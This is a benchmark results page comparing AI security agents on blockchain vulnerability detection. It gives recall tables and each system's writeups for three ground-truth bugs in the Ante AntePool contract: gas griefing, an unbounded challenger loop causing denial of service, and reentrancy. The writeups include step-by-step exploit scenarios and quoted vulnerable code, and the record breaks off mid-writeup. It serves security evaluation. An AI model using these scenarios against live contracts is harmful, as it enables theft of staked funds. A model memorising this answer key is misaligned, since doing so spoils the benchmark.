Benchmarks
Data generated · 31 fixtures · 289 tasks
Crypto Security Bench is a benchmark that measures AI security agents’ ability to identify vulnerabilities in blockchain code. It includes 289 ground-truth vulnerabilities across 31 projects, spanning Solidity, Rust, C++, and Go codebases. Unlike other benchmarks like EVMBench, Crypto Security Bench includes both smart contracts as well as L1/core blockchain code. We compare our system, V12, with Codex Security, Pashov Skills (run on Claude Opus 5.5 and on Codex GPT-6 Sol), Devin Security, Devin Security (Deep), Claude Security (run on Claude Sonnet 5.5 and on Claude Opus 5.5), and Vercel Security Review.
Overall performance
We ran each system against the codebases in Crypto Security Bench. We report recall, the fraction of ground truth bugs each system successfully identified.
| System | Detected | Recall |
|---|---|---|
| V12 | 247 / 289 | 85.5% |
| Devin Security (Deep) | 145 / 289 | 50.2% |
| Claude Security (Sonnet 5.5) | 109 / 289 | 37.7% |
| Claude Security (Opus 5.5) | 104 / 289 | 36.0% |
| Codex Security (GPT-6 Sol) | 92 / 289 | 31.8% |
| Devin Security | 87 / 289 | 30.1% |
| Vercel Security Review | 73 / 289 | 25.3% |
Solidity head-to-head
Pashov Skills only audits Solidity, so it can’t be ranked against the others on the full 289-task set. We evaluated both Pashov Skills runs on the 92 Solidity tasks:
| System | Detected | Recall |
|---|---|---|
| V12 | 87 / 92 | 94.6% |
| Codex Security (GPT-6 Sol) | 34 / 92 | 37.0% |
| Pashov (Claude Opus 5.5 high) | 67 / 92 | 72.8% |
| Pashov (Codex GPT-6 Sol high) | 56 / 92 | 60.9% |
| Devin Security | 44 / 92 | 47.8% |
| Devin Security (Deep) | 69 / 92 | 75.0% |
| Claude Security (Sonnet 5.5) | 43 / 92 | 46.7% |
| Claude Security (Opus 5.5) | 43 / 92 | 46.7% |
| Vercel Security Review | 39 / 92 | 42.4% |
Performance by language
Recall grouped by language.
| Language | V12 | Codex Security (GPT-6 Sol) | Pashov (Claude Opus 5.5 high) | Pashov (Codex GPT-6 Sol high) | Devin Security | Devin Security (Deep) | Claude Security (Sonnet 5.5) | Claude Security (Opus 5.5) | Vercel Security Review |
|---|---|---|---|---|---|---|---|---|---|
| Rust | 80.7% (117 of 145) | 28.3% (41 of 145) | Not evaluated | Not evaluated | 17.2% (25 of 145) | 34.5% (50 of 145) | 24.1% (35 of 145) | 22.8% (33 of 145) | 14.5% (21 of 145) |
| C++ | 75.0% (21 of 28) | 21.4% (6 of 28) | Not evaluated | Not evaluated | 21.4% (6 of 28) | 35.7% (10 of 28) | 50.0% (14 of 28) | 46.4% (13 of 28) | 10.7% (3 of 28) |
| Solidity | 94.6% (87 of 92) | 37.0% (34 of 92) | 72.8% (67 of 92) | 60.9% (56 of 92) | 47.8% (44 of 92) | 75.0% (69 of 92) | 46.7% (43 of 92) | 46.7% (43 of 92) | 42.4% (39 of 92) |
| Go | 91.7% (22 of 24) | 45.8% (11 of 24) | Not evaluated | Not evaluated | 50.0% (12 of 24) | 66.7% (16 of 24) | 70.8% (17 of 24) | 62.5% (15 of 24) | 41.7% (10 of 24) |
Detailed results
List of all ground-truth vulnerabilities included in Crypto Security Bench, along with the vulnerability reports generated by each system tested. Each fixture links to an associated human audit report.
-
Ante Solidity Onchain prediction-market protocol. Tasks 3 V12 3/3 Codex Sec 2/3 Pashov Opus 3/3 Pashov GPT-6 3/3 Devin 3/3 Devin (Deep) 3/3 Claude Sec 1/3 Claude Opus 1/3 Vercel 1/3
Onchain prediction-market protocol.
Read the audit report-
Ability to force tests to fail with gas limit ante-1 · 5 writeups Critical
V12
Gas-starved checks can falsely authorize settlement
contracts/AntePool.sol:567Predicted severity: High- Root cause
-
External-check resource failure is treated as authoritative invariant failure without enforcing an adequate check gas budget. The caller controls transaction gas, while the pool commits value-moving failure settlement based on the catch result.
- Impact
-
If a connected test's cost admits this gas interval, a challenger can cause staker and queued-withdrawal ETH to be distributed as failure rewards without a genuine invariant failure. The precise gas threshold is deployment/test-dependent and was not measured; this is a conditional security mechanism on the factory's arbitrary-test integration, not a claim that every supplied example is exploitable.
- Description
-
_checkTestNoRevert()forwards the available call gas tocheckTestPasses()and treats every callee failure as a failed invariant. It neither gives the check an explicit required gas allowance nor distinguishes callee out-of-gas from a genuine failed assertion. For a sufficiently expensive but passing Ante test, a mature challenger can select a transaction gas limit that exhausts the test's forwarded gas while leaving the EVM's retained gas sufficient to execute the failure snapshot. The pool then irreversibly records failure even though the same test would return true with adequate gas. This admission depends on the selected test's check cost and the gas needed for settlement; the supplied short constant-time examples alone do not establish that gas interval.
Pashov (Claude Opus 5.5 high)
checkTest treats any revert, including a caller-induced out-of-gas, as a test failure
contracts/AntePool.sol:565Predicted severity: Medium- Root cause
-
Reverts from the test are interpreted as failures without telling an out-of-gas or griefed revert apart from a genuine failure. No minimum gas is reserved or checked for the test call.
- Impact
-
A challenger can mark a passing test as failed and drain the staker pool (staker principal plus pending withdrawals). They receive their pro-rata share of the stakers' funds plus the 5% verifier bounty.
- Description
-
_checkTestNoRevert wraps anteTest.checkTestPasses() in try/catch and returns false on any revert. By the 63/64 rule, the external call gets at most 63/64 of the remaining gas, and the caller of checkTest chooses the transaction gas limit. If the test is gas-heavy, a challenger can pick a gas limit that makes checkTestPasses run out of gas. The 1/64 of gas kept back is still enough to run updateDecay, _calculateChallengerEligibility, and the state writes that set pendingFailure = true. The same applies to tests that call other contracts inside their own try/catch and return false on error: there, starving the inner call is enough.
- Exploit scenario
-
A pool's test loops over many tested contracts or does heavy external reads and needs about 10M gas, or it wraps an external call in try/catch. An eligible challenger calls checkTest with a gas limit chosen so that checkTestPasses runs out of gas while about 150k gas remains for the failure bookkeeping. The pool records the failure, and the attacker claims the staked ETH.
- Recommendation
-
After a failed call, check that the failure wasn't caused by gas exhaustion, e.g.
require(gasleft() > gasBefore / 64 ...), or forward a fixed, explicitly required gas amount. Alternatively, only treat an explicitfalsereturn as failure and let reverts revert the checkTest transaction.
Pashov (Codex GPT-6 Sol high)
Caller-controlled gas can turn a passing test into a failure
contracts/AntePool.sol:567Predicted severity: Medium- Root cause
-
The pool does not distinguish a false test result from a test call that reverted or ran out of gas.
- Impact
-
Medium severity: on pools with a gas-heavy passing test, a challenger can irreversibly mark the pool failed and take staker collateral.
- Description
-
A caller can limit gas so a costly passing test runs out of gas; the catch path treats that execution failure as a failed test.
- Exploit scenario
-
For a legitimate gas-heavy test that returns true with ample gas, a challenger sends checkTest with a gas limit that makes the test call run out while leaving enough gas after the catch to complete the failure branch. The pool records pendingFailure and pays claims.
- Recommendation
-
Call the test with a fixed gas budget, require enough caller gas to supply that budget and finish settlement, and reject tests that exceed the budget during initialization rather than treating caller-induced exhaustion as failure.
Devin Security
checkTest treats an out-of-gas revert in the Ante Test as a failure, so a caller can fake a failure on gas-heavy tests
contracts/AntePool.sol:565Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
On pools whose Ante Test uses a lot of gas, any challenger can trigger a false test failure by choosing a low gas limit, and then claim all staker funds in that pool.
##### What's wrong
This is a gas-griefing bug in a try/catch.
_checkTestNoReverttreats any revert fromanteTest.checkTestPasses()as a failed test, including an out-of-gas revert. Under EIP-150, the outer call keeps 1/64 of the gas after the inner call fails. The caller picks the gas limit, so the caller can make the inner call fail on purpose while keeping enough gas to finish the failure path.##### Who can do it
Alice stakes 100 ETH in a pool whose test does a lot of work, for example a test that iterates over many addresses or tokens. Mallory stakes 0.01 ETH as a challenger, waits 12 blocks, and calls
checkTestwith a gas limit that is too small for the test but leaves 1/64 for the rest of the function. The test reverts out of gas, the catch returns false, and the pool records a failure.- Mallory needs a challenger position that is older than 12 blocks. Anyone with 0.01 ETH can get one.
- The test's
checkTestPassesmust use more than about 63 times the gas that the rest of the failure path needs. This depends on the specific test and is likely only a few million gas, so it is plausible for heavy tests but not for simple ones.##### What they get
Mallory becomes the verifier. She receives the 5% bounty plus a share of the remaining staker funds in proportion to her challenger stake. If she adds more challenger stake ahead of time, she can take most of Alice's 100 ETH, even though the protocol the test protects is fine. This only works on pools whose test meets the gas condition.
##### How it works
1. Mallory stakes as a challenger and waits more than 12 blocks, which passes the checks in
checkTest(AntePool.sol:295-299).2. She calls
checkTestwith a chosen gas limit._checkTestNoRevertforwards 63/64 of the gas toanteTest.checkTestPasses()(AntePool.sol:568).3. The test runs out of gas and reverts, and the
catchbranch returns false (AntePool.sol:570-571).4.
checkTestsetspendingFailure, names Mallory asverifier, and computes_bountyand_remainingStake(AntePool.sol:304-315).5. Mallory calls
claimand receives her share of the staker funds plus the bounty (AntePool.sol:321-336, 581-590). - Exploit scenario
-
Not specified.
- Recommendation
-
Do not count an out-of-gas revert as a failure. One option is to check gasleft() inside the catch and revert if it is below about 1/63 of the gas forwarded, which means the inner call ran out of gas. Another option is to require a minimum gasleft() before the call that is large enough for the test. To check the fix, write a test with a gas-heavy mock AnteTest that passes, call checkTest with a gas limit that makes the inner call run out of gas, and confirm that the transaction reverts and pendingFailure stays false.
Devin Security (Deep)
Out-of-gas inside checkTestPasses is treated as a test failure, letting a caller force a false failure on gas-heavy tests
contracts/AntePool.sol:565Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
For an Ante test whose
checkTestPassescosts more than roughly 9 to 10 million gas, any eligible challenger can pick a gas limit that starves the test call so it runs out of gas, which the pool records as a failure and pays the whole staker pool to challengers even though the test actually passes.##### What's wrong
This is insufficient-gas griefing through a catch-all
try/catch._checkTestNoReverttreats every revert fromcheckTestPasses, including running out of gas, as the test failing. Under the 63/64 rule the caller keeps 1/64 of the remaining gas, so a caller can choose a gas limit at which the inner call dies but the outer failure bookkeeping still completes.##### Who can do it
Alice writes a test for Globex that walks a large list of vaults and costs about 12 million gas. Bob stakes 100 ETH on it. Mallory stakes 0.01 ETH as a challenger, waits 12 blocks, and calls
checkTestwith a gas limit of about 10 million. The test call gets about 9.8 million gas and runs out; the pool keeps about 150k gas, enough to record the failure.Conditions that must hold:
* The connected test's
checkTestPassesneeds more than roughly 63 times the gas the failure bookkeeping needs, which is about 9 to 10 million gas with one challenger and more with many. Typical Ante tests that read a few balances are far cheaper and are not affected.* The caller is a registered challenger whose last stake is more than 12 blocks old.
##### What they get
Mallory becomes the verifier and the test is marked failed while the Globex invariant still holds. Bob's 100 ETH is split between the 5 percent bounty and the eligible challengers, so Mallory and other challengers take money from stakers for a failure that never happened, and the test reads as failed forever.
##### How it works
1. Mallory calls
checkTestwith a chosen gas limit (contracts/AntePool.sol:292).2.
_checkTestNoRevertforwards 63/64 of the remaining gas toanteTest.checkTestPasses()(contracts/AntePool.sol:568).3. The test runs out of gas; the
catchblock returns false (contracts/AntePool.sol:570-572).4.
checkTestrecords the failure with the retained 1/64 of gas:updateDecay,verifier,failedBlock,pendingFailure, eligibility and bounty (contracts/AntePool.sol:303-314).5. Challengers call
claimand receive stakers' ETH (contracts/AntePool.sol:319-334). - Exploit scenario
-
Not specified.
- Recommendation
-
Require a minimum gas budget before calling the test, for example
require(gasleft() >= MIN_CHECK_GAS)with a per-pool or per-test configured value, or distinguish out-of-gas from an explicit revert by checkinggasleft()after the call against the 63/64 bound and reverting the transaction if the inner call could have run out of gas. Verify with a Hardhat test using a mock test that burns 12 million gas and passes, callingcheckTestwith a 10 million gas limit, and asserting the transaction reverts rather than settingpendingFailure.
-
Number of challengers is constrained by block gas limit ante-2 · 9 writeups High
V12
Challenger spam blocks failure finalization
contracts/AntePool.sol:186Predicted severity: High- Root cause
-
Permissionless constant-cost membership growth creates an unbounded mandatory settlement loop. The failure transition cannot proceed independently of complete enumeration.
- Impact
-
An external actor can prevent a failed test from being finalized by accumulating enough live challenger addresses, blocking failure payouts and allowing still-enabled staker withdrawals to remove the reward capital. Challenger deposits are recoverable through normal unstake while failure cannot finalize, so the attack primarily requires temporary capital and transaction costs rather than sacrificing every deposit.
- Description
-
Failure eligibility calculation enumerates the entire live challenger set in a single transaction.
stake(true)lets any caller add another unique address for 0.01 ETH, and the set has no size limit. Although library insertion and removal are constant-time, successful failure finalization requires storage reads and balance calculations for every remaining member. If that work exceeds transaction or block gas limits,checkTest()reverts, including its failure flag and all eligibility accounting. No batched or resumable calculation exists in the pool.
Codex Security (GPT-6 Sol)
Many challenger accounts can block pool failure settlement
contracts/AntePool.sol:193Predicted severity: Medium- Root cause
-
The pool accepts an unbounded number of challenger addresses but computes the total eligible balance by scanning all of them during a single failure transaction. A block gas limit can reject that transaction before state changes commit.
- Impact
-
The denial can block a genuine failure, but requires many funded addresses and transactions; the capital remains locked while the attack is maintained.
- Description
-
An adversary can fill a pool's challenger set with distinct funded accounts. A failing checkTest then iterates the entire set in one transaction and can exceed block gas, preventing failure payouts.
- Exploit scenario
-
attacker-controlled challenger count → addresses array → failure-time loop → transaction gas exhaustion
- Recommendation
-
Replace full failure-time enumeration with bounded incremental accounting or claim-time proofs tied to a failure snapshot.
Pashov (Claude Opus 5.5 high)
Unbounded loop over all challengers in checkTest lets anyone block test failure from ever being recorded
contracts/AntePool.sol:553Predicted severity: High- Root cause
-
The challenger payout eligibility is computed eagerly with an O(n) loop inside the one transaction that records the failure. The number of challengers is unbounded and attacker-controlled.
- Impact
-
When the set is large enough, the failing branch of checkTest needs more gas than a block allows, so checkTest always reverts on a failing test. pendingFailure can then never become true. Challengers can never claim staker funds, and stakers keep earning decay from challengers although the invariant they insured is broken. The insurance mechanism, and the funds challengers expect to receive, is effectively stolen.
- Description
-
When checkTest sees the Ante Test fail, it calls _calculateChallengerEligibility. That function walks the whole
challengersset. For each entry it does several cold SLOADs (address, lastStakedBlock, startAmount, startDecayMultiplier) and a storage write to eligibilityInfo.eligibleAmount. The set has no size limit. Any address that stakes at least MIN_CHALLENGER_STAKE (0.01 ETH) on the challenger side is added to it. - Exploit scenario
-
A large staker (or the protocol a test covers) expects the test may fail. They create a few thousand fresh addresses, each staking 0.01 ETH as a challenger. At about 10k gas per iteration, roughly 3,000 entries (about 30 ETH, still owned by the attacker and only slowly decaying) push the failure path past the 30M block gas limit. When the protocol is later exploited and the test fails, every checkTest call by honest challengers runs out of gas. Stakers' funds can never be taken.
- Recommendation
-
Don't iterate over all challengers at failure time. Track eligible and ineligible challenger amounts incrementally, e.g. record the challenger balance staked in the last CHALLENGER_BLOCK_DELAY blocks in a per-block or checkpoint structure. Alternatively, compute eligibility lazily per user in claim(). Another option is to cap the number of challengers or raise the minimum stake substantially.
Pashov (Codex GPT-6 Sol high)
Dust challenger entries can block failure settlement
contracts/AntePool.sol:553Predicted severity: High- Root cause
-
Failure settlement iterates every live challenger, and partial unstake preserves membership even when only 1 wei remains.
- Impact
-
High severity: failure cannot be finalized, so challengers cannot claim and a staker can withdraw collateral even though the test has failed.
- Description
-
A user can keep arbitrarily many dust challenger positions in the settlement loop until every failed checkTest transaction runs out of gas.
- Exploit scenario
-
Create many challenger addresses, deposit the 0.01 ETH minimum from each, then unstake all but 1 wei from each. A subsequent failed checkTest must iterate all entries in one transaction, eventually exceeding the block gas limit.
- Recommendation
-
Use bounded or paginated failure settlement with a fixed snapshot, and enforce a meaningful minimum on active challenger entries.
Devin Security
Unbounded loop over challengers lets anyone block checkTest from recording a test failure
contracts/AntePool.sol:187Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A staker who expects the test to fail can open thousands of tiny challenger positions so that
checkTestalways runs out of gas, which stops the pool from ever paying challengers.##### What's wrong
This is a gas-limit denial of service from an unbounded loop. When the test fails,
checkTestcalls_calculateChallengerEligibility, which reads storage for every address in thechallengersset in one transaction. Nothing caps the size of that set.##### Who can do it
Alice, a challenger, stakes against a protocol she thinks is unsafe. Mallory has a large staker position in the same pool. Mallory sees that the test is about to fail. She stakes 0.01 ETH as a challenger from a few thousand fresh addresses. Each loop step does several cold storage reads (about 8,000 to 10,000 gas), so roughly 3,000 to 4,000 addresses push the failure path past a 30M block gas limit.
- Mallory has about 30 to 40 ETH to lock as challenger stake. She can take it back later, minus decay.
- She adds the addresses before anyone calls
checkTeston a failing test.##### What they get
When the test fails, every
checkTestcall reverts out of gas, sopendingFailureis never set. Mallory and the other stakers keep their stake, and they can unstake and withdraw after 24 hours. Alice and the other challengers never get the staker funds that the pool promises them, and their own stake keeps decaying to the stakers. This defeats the main guarantee of the pool. Each attack affects one pool.##### How it works
1.
stake(true)adds any address with at least 0.01 ETH tochallengerswith no limit on the set size (AntePool.sol:193).2.
checkTestfinds the test failing and calls_calculateChallengerEligibilityin the same transaction (AntePool.sol:309).3.
_calculateChallengerEligibilityloops over every challenger and readslastStakedBlockplus the user's stored balance from storage (AntePool.sol:555-561).4. With enough addresses the loop costs more than the block gas limit, so the whole failure path reverts, and nothing records the failure.
- Exploit scenario
-
Not specified.
- Recommendation
-
Remove the per-challenger loop from checkTest. Track the eligible amount incrementally: keep a running total of stake that is older than 12 blocks, or record the failure first and compute eligibility lazily or in paged calls after pendingFailure is set. You could also raise the minimum challenger stake, but that only raises the attack cost. To check the fix, write a test that adds several thousand challenger addresses and then confirms that checkTest on a failing test stays well under the block gas limit and sets pendingFailure.
Devin Security (Deep)
Unbounded challenger loop in checkTest lets sybil challengers make a pool's test unfailable
contracts/AntePool.sol:553Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can register a few thousand throwaway challenger addresses for gas money alone, after which the failure path of
checkTestneeds more gas than a block allows, so the test can never be marked failed, stakers can never be slashed, and honest challengers keep paying decay for a payout they can never collect.##### What's wrong
This is an unbounded loop over user-controlled storage on a critical path.
_calculateChallengerEligibilitywalks every address in thechallengersset and does four cold storage reads and a storage write per entry. Anyone can grow that set without limit, and the only way an entry leaves is if its owner unstakes to exactly zero. Becauseunstakehas no minimum residual, each sybil can keep 1 wei and recycle the 0.01 ETH minimum to the next address, so growing the set costs only gas.##### Who can do it
Alice runs Globex Finance and Bob stakes 300 ETH on the test "Globex vault stays solvent". Trent, an honest challenger, puts 10 ETH against it. Mallory, who also stakes on the test and wants her stake to be safe no matter what, deploys 3,500 tiny contracts. Each one calls
stake(true)with 0.01 ETH and thenunstake(balance - 1, true), leaving 1 wei and freeing the 0.01 ETH for the next contract. The whole thing costs roughly 800 million gas spread over many blocks and no locked capital.Conditions that must hold:
* The attacker can pay roughly 230k gas per sybil address; about 3,300 eligible challengers push the failure path of
checkTestpast a 30 million gas block.* No one can remove another user's address from
challengers; only the owner can, by unstaking to exactly zero.* The attack is silent until the test actually fails.
##### What they get
When the Globex vault really breaks, Trent calls
checkTest.checkTestPassesreturns false, and the pool starts summing eligible balances across 3,500 addresses. The transaction cannot fit in a block and reverts, every time, forever. Bob and Mallory keep all 300 ETH of stake, and the pool keeps reporting the test as never failed. Trent cannot collect the payout he earned and his 10 ETH keeps decaying into the stakers' pockets until he gives up and withdraws what is left. Every pool is independently attackable, and partial attacks already makecheckTestcost tens of millions of gas.##### How it works
1. Mallory's sybil contract calls
stake(true)with 0.01 ETH;challengers.insertadds it to the set (contracts/AntePool.sol:188-194).2. The contract calls
unstake(balance - 1, true);_unstakeonly removes the address whenprevAmount == amount, so the 1 wei entry stays in the set and the 0.01 ETH is returned (contracts/AntePool.sol:479-495).3. Repeat for thousands of addresses; nothing bounds
challengers.addresses.length.4. When the test fails,
checkTestcalls_calculateChallengerEligibility(contracts/AntePool.sol:302-308).5. The loop reads
addresses[i],lastStakedBlock,startAmount,startDecayMultiplierand writeseligibleAmountfor every entry, about 9,000 gas each (contracts/AntePool.sol:553-563).6. Above about 3,300 entries the transaction exceeds the block gas limit, so
pendingFailurecan never become true andclaimis never reachable. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove the per-address loop from the failure path. Track challenger eligibility incrementally: keep a running
eligibleAmountthat stake and unstake adjust (for example, treat a challenger's deposit as eligible once 12 blocks have passed and account for it lazily per user at claim time using the pool-wide multiplier and the user'slastStakedBlock), socheckTestdoes O(1) work. Alternatively, compute each challenger's eligibility insideclaimfromlastStakedBlockandfailedBlockand derive the eligible total aschallengerInfo.totalAmountminus the amounts staked within the delay window, tracked at stake time. Also enforceMIN_CHALLENGER_STAKEon the remaining balance after a partial unstake so dust entries cannot be kept for free. Verify with a Hardhat test that registers 5,000 dust challengers, flips the test to failing, and assertscheckTestsucceeds within the block gas limit.
Claude Security (Sonnet 5.5)
Unbounded loop over all challengers in the failure path lets an attacker make a failing test impossible to record
contracts/AntePool.sol:555Predicted severity: Medium- Root cause
-
Vulnerable symbol: _calculateChallengerEligibility
Preconditions: The attacker can create thousands of challenger entries over time. The cost is mostly gas, with about 0.01 ETH of reusable capital.; The test failure occurs after the set has grown past the gas threshold.
Offending code:
for (uint256 i = 0; i < challengers.addresses.length; i++) {
- Impact
-
The pool's core guarantee, that a failed test pays out challengers, can be disabled permanently by any unprivileged party. A staker, or the party that controls the tested protocol, therefore keeps funds that should have been paid to challengers. Legitimate challengers still recover their principal by unstaking, minus decay, but lose the expected payout and the verifier bounty. The same condition can also arise organically in a popular pool with many challengers.
- Description
-
checkTest() calls _calculateChallengerEligibility() whenever the AnteTest fails. That function iterates every address in the IterableAddressSet, doing several cold SLOADs per entry. The set grows without limit, and the 0.01 ETH minimum is only enforced at stake() time, not for the residual after a partial unstake. An attacker can therefore add thousands of near-zero-cost challengers until the failure branch exceeds the block gas limit and reverts.
- Exploit scenario
-
The attacker funds N fresh addresses. Each calls stake(true) with 0.01 ETH, which inserts it into the challengers set and starts its 12-block timer. It then calls unstake(balance - 1, true), which returns almost all of the ETH and leaves a 1 wei position that stays in the set. The same 0.01 ETH is reused for the next address, so the cost is gas only. Each stale entry costs about 8 to 10k gas in the failure-path loop (cold SLOADs for the array element, lastStakedBlock, startAmount and startDecayMultiplier), so about 3,000 to 4,500 entries push the failing branch of checkTest past the block gas limit. When the tested invariant later breaks, every checkTest call reverts in the failure branch, so failedBlock, pendingFailure and the payout state are never set. Stakers keep their funds and challengers cannot claim. Honest challengers cannot evict the dust entries.
- Recommendation
-
Do not iterate over all challengers on the failure path. Track the eligible total incrementally at stake and unstake time, for example with checkpoints keyed by block, or compute eligibility lazily per claimer. At a minimum, bound the set size and enforce MIN_CHALLENGER_STAKE as a floor on any residual position (unstake must either remove the entry or leave at least the minimum).
Claude Security (Opus 5.5)
Unbounded loop over all challengers in the failure path lets a staker make test failure impossible to record
contracts/AntePool.sol:555Predicted severity: High- Root cause
-
Vulnerable symbol: _calculateChallengerEligibility
Preconditions: Attacker pays gas to register a few thousand challenger addresses before the failure (capital is recoverable; see the partial-unstake dust bypass); The block gas limit bounds checkTest()
Offending code:
for (uint256 i = 0; i < challengers.addresses.length; i++) {
- Impact
-
The test can never be marked as failed, so challengers cannot claim staker funds and stakers escape the loss the protocol is supposed to enforce.
- Description
-
Anyone can add addresses to the challenger set through stake(true). checkTest() only reaches _calculateChallengerEligibility() after the test has already failed, and that function walks the whole set with several cold SLOADs per entry. The IterableAddressSet library documents O(1) operations, but AntePool iterates the full set, so a large enough set makes the only path that sets pendingFailure use more gas than a block allows.
- Exploit scenario
-
A large staker, or a protocol team that stakes on its own test and plans to rug, first sets up many challenger addresses, for example CREATE2 child contracts that each call stake{value: 0.01 ether}(true). Each loop iteration reads addresses[i], lastStakedBlock, startAmount and startDecayMultiplier, roughly 9-10k gas (estimated from reading the code, not run). A few thousand entries therefore push the failure branch of checkTest() past the block gas limit. When the invariant later breaks, every checkTest() call reverts out of gas. pendingFailure is never set, claim() can never be called, and stakers unstake and withdraw after 24 hours. Challengers lose the payout they are owed and keep paying decay. The entries never leave the set unless their owners fully unstake.
- Recommendation
-
Do not iterate over challengers when a failure is recorded. Track eligible challenger stake incrementally, for example with a per-block or checkpointed accumulator, or compute each challenger's eligibility lazily in claim(). Alternatively, cap the number of challengers or keep a meaningful per-address minimum.
Vercel Security Review
Dust challenger spam can block failure settlement and evade slashing
contracts/AntePool.sol:555Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Grow an unrestricted challenger set** -
contracts/AntePool.sol:193-194```solidity title="contracts/AntePool.sol:193-194"
challengers.insert(msg.sender);
eligibilityInfo.lastStakedBlock[msg.sender] = block.number;
```
An attacker can register arbitrarily many controlled addresses by staking the 0.01 ETH minimum.
**2. Recycle deposits without removing entries** -
contracts/AntePool.sol:485-488```solidity title="contracts/AntePool.sol:485-488"
if (isChallenger) challengers.remove(msg.sender);
} else {
require(amount <= prevAmount, "ANTE: Withdraw request exceeds balance.");
user.startAmount = prevAmount.sub(amount);
```
Each address can immediately withdraw all but one wei. Only full exits remove entries; subsequent decay does not prune them.
**3. Exhaust gas during mandatory settlement** -
contracts/AntePool.sol:555-558```solidity title="contracts/AntePool.sol:555-558"
for (uint256 i = 0; i < challengers.addresses.length; i++) {
address challenger = challengers.addresses[i];
if (eligibilityInfo.lastStakedBlock[challenger] < cutoffBlock) {
eligibilityInfo.eligibleAmount = eligibilityInfo.eligibleAmount.add(
```
Failure settlement unconditionally enumerates this set (line 308). Enough entries exceed the block gas limit, reverting failure recognition and preventing claims. Malicious stakers can then withdraw despite the broken invariant.
- Exploit scenario
-
Not specified.
- Recommendation
-
Replace failure-time enumeration with bounded or lazy eligibility accounting. Any balance minimum must also apply after partial withdrawals; minimum deposits alone do not bound this loop.
-
Reentrant checkTest allows pool draining ante-3 · 6 writeups Medium
V12
Reentrant failure settlement corrupts distributions and erases shortfalls
contracts/AntePoolFactory.sol:27Predicted severity: High- Root cause
-
Failure finalization is not protected against reentrancy through
anteTest.checkTestPasses, and the outer frame assumes the pre-call phase still holds. The eligibility accumulator and bounty distribution assume finalization occurs exactly once, while capped payments erase claims even when that assumption has failed. - Impact
-
In deployments whose connected test can make this callback, reentrant failure finalization can permanently strand part of the slashed active and queued stakes. Interleaving a nested claim can instead leave a subsequent challenger underpaid with no remaining claim, because capped transfer settlement erases its entitlement.
- Description
-
checkTestcalls the mutable external Ante test whilependingFailureis still false and does not revalidate that phase when the call returns. A connected test that is itself an aged challenger can invoke a nestedcheckTest, return false to that nested invocation, and then return false to the original invocation. Both frames run failure finalization, and_calculateChallengerEligibilityadds balances to the existing accumulator twice rather than establishing a single snapshot. If no claims occur between the frames, eligible challengers receive only half of_remainingStakein total, leaving the other half without a claimant. If the test claims its nested verifier payout before returning, the outer frame also reassigns the bounty after one bounty has already been paid, allowing a later payout to exceed available ETH._safeTransferthen caps that payment whileclaimclears the claimant's entire position and records the nominal amount.
Codex Security (GPT-6 Sol)
A test callback can settle the same pool failure more than once
contracts/AntePool.sol:302Predicted severity: Medium- Root cause
-
checkTest()performs an untrusted, non-view external call before committing its failure state. A callback can reenter the same transition. The inner call makes claims available and the outer call then recalculates and overwrites settlement state without an idempotence guard. - Impact
-
The callback can distort payouts and duplicate the verifier bounty, but requires a test contract able to act as an eligible challenger and be selected for a pool.
- Description
-
The pool calls a state-changing AnteTest before marking failure. A test contract that is itself an eligible challenger can reenter checkTest, settle and claim inside the callback, then let the outer call settle again, corrupting eligibility and verifier payouts.
- Exploit scenario
-
untrusted AnteTest callback → nested checkTest → inner failure and claim → outer failure recalculation
- Recommendation
-
Guard checkTest against reentrancy and make the failure transition idempotent before calling external test code.
Pashov (Claude Opus 5.5 high)
checkTest calls the external Ante Test before updating state and has no reentrancy guard, so eligibility can be double-counted
contracts/AntePool.sol:292Predicted severity: Low- Root cause
-
An external call to the untrusted test contract comes before the state transition, and there is no reentrancy guard.
- Impact
-
eligibleAmount is inflated (e.g. doubled), so every eligible challenger gets only part of their share of _remainingStake. The rest stays locked in the pool forever. Reentrant stake/unstake during the check can also manipulate the totals the payout is based on.
- Description
-
checkTest calls anteTest.checkTestPasses() while pendingFailure is still false, and no nonReentrant guard exists. A test that calls into attacker-controlled code (or is malicious itself) can re-enter checkTest, stake, or unstake. If the nested checkTest records the failure and the outer call also treats the test as failed, the failure branch runs twice. _calculateChallengerEligibility then adds every eligible balance to eligibilityInfo.eligibleAmount twice, and verifier and _bounty are overwritten.
- Exploit scenario
-
A test reads a callback-capable contract. During the outer checkTest, the callback (controlled by an eligible challenger) calls checkTest again, which fails the test. Both calls then run the failure branch, eligibleAmount doubles, and half of the staker funds become unclaimable.
- Recommendation
-
Add a nonReentrant guard to all state-changing functions. Re-check
!pendingFailureafter the external call, or call the test via staticcall.
Pashov (Codex GPT-6 Sol high)
Reentrant test checks can pay verifier bounty repeatedly
contracts/AntePool.sol:299Predicted severity: Critical- Root cause
-
The external test call precedes the failure latch, and the eligibility accumulator is additive instead of initialized to zero for one settlement.
- Impact
-
Critical severity: nested checks can issue the 5% verifier bounty repeatedly until the pool is depleted, leaving honest challengers unpaid.
- Description
-
A test callback can reenter checkTest before failure is recorded and make the settlement count each eligible balance more than once.
- Exploit scenario
-
A test contract routes checkTestPasses callbacks through multiple mature challenger proxy addresses. The deepest check returns false, and its proxy claims the bounty. Each outer frame then records failure again with its own verifier, and that proxy claims another 5% bounty before the next frame unwinds. With 20 proxies and 100 ETH staked, repeated 5 ETH bounties can exhaust the pool.
- Recommendation
-
Set a check-in-progress latch before calling the external test and finalize failure only once; prevent nested checks and snapshot eligibility once.
Devin Security
A malicious AnteTest can re-enter checkTest and double-count eligible challenger stake, which locks part of the payout
contracts/AntePool.sol:292Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The author of a malicious AnteTest can make the pool count eligible challenger stake twice, so honest challengers get only about half of the stakers' funds and the rest stays stuck in the contract.
##### What's wrong
This is a reentrancy bug.
checkTestcalls the untrusted test contract before it setspendingFailure, so thetestNotFailedguard is still open while that call runs. The test contract can callcheckTestagain. Both the inner call and the outer call then add the challengers' balances toeligibilityInfo.eligibleAmount.##### Who can do it
Mallory writes an AnteTest contract and has it stake 0.01 ETH as a challenger. Later she makes
